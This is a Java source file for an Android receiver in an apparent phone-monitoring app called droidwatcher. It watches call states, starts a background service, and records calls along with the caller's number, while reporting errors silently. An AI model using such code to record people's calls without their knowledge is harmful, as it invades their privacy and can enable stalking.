package com.droidwatcher.receivers;
import org.acra.ACRA;
import com.droidwatcher.Debug;
import com.droidwatcher.SettingsManager;
import com.droidwatcher.modules.RecorderModule;
import com.droidwatcher.services.AppService;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Message;
import android.telephony.TelephonyManager;
public class CallReceiver extends BroadcastReceiver {
@Override
public void onReceive(final Context context, Intent intent) {
try {
SettingsManager settings = new SettingsManager(context);
if (!settings.isConnected()){
return;
}
context.startService(new Intent(context, AppService.class));
int state = -1;
String extraState = intent.getStringExtra("state");
if (extraState != null && extraState.length() > 0) {
if (extraState.equals("IDLE")) {
state = TelephonyManager.CALL_STATE_IDLE;
}
else{
if (extraState.equals("OFFHOOK")) {
state = TelephonyManager.CALL_STATE_OFFHOOK;
}
else{
if (extraState.equals("RINGING")) {
state = TelephonyManager.CALL_STATE_RINGING;
}
}
}
}
if (state == -1) {
TelephonyManager telephony = (TelephonyManager)context.getSystemService(Context.TELEPHONY_SERVICE);
if (telephony != null) {
state = telephony.getCallState();
}
}
switch(state){
case TelephonyManager.CALL_STATE_IDLE:
Debug.i("[CallReceiver] CALL_STATE_IDLE");
Message msg = Message.obtain();
msg.what = RecorderModule.STOP_RECORD_CALL;
RecorderModule.message(msg);
if (AppService.sThreadManager != null) {
AppService.sThreadManager.onCallChange();
}
break;
case TelephonyManager.CALL_STATE_OFFHOOK:
Debug.i("[CallReceiver] CALL_STATE_OFFHOOK");
if (settings.isRecordEnabled()) {
startRecord(intent);
}
break;
case TelephonyManager.CALL_STATE_RINGING:
Debug.i("[CallReceiver] CALL_STATE_RINGING");
if (settings.isRecordEnabled()) {
startRecord(intent);
}
break;
}
} catch (Exception e) {
ACRA.getErrorReporter().handleSilentException(e);
}
}
private void startRecord(Intent intent){
String num = intent.getExtras().getString("incoming_number");
if (num == null){
num = OutgoingCallReceiver.getOutgoingNumber();
}
Message msg = Message.obtain();
msg.what = RecorderModule.START_RECORD_CALL;
msg.obj = num;
RecorderModule.message(msg);
}
}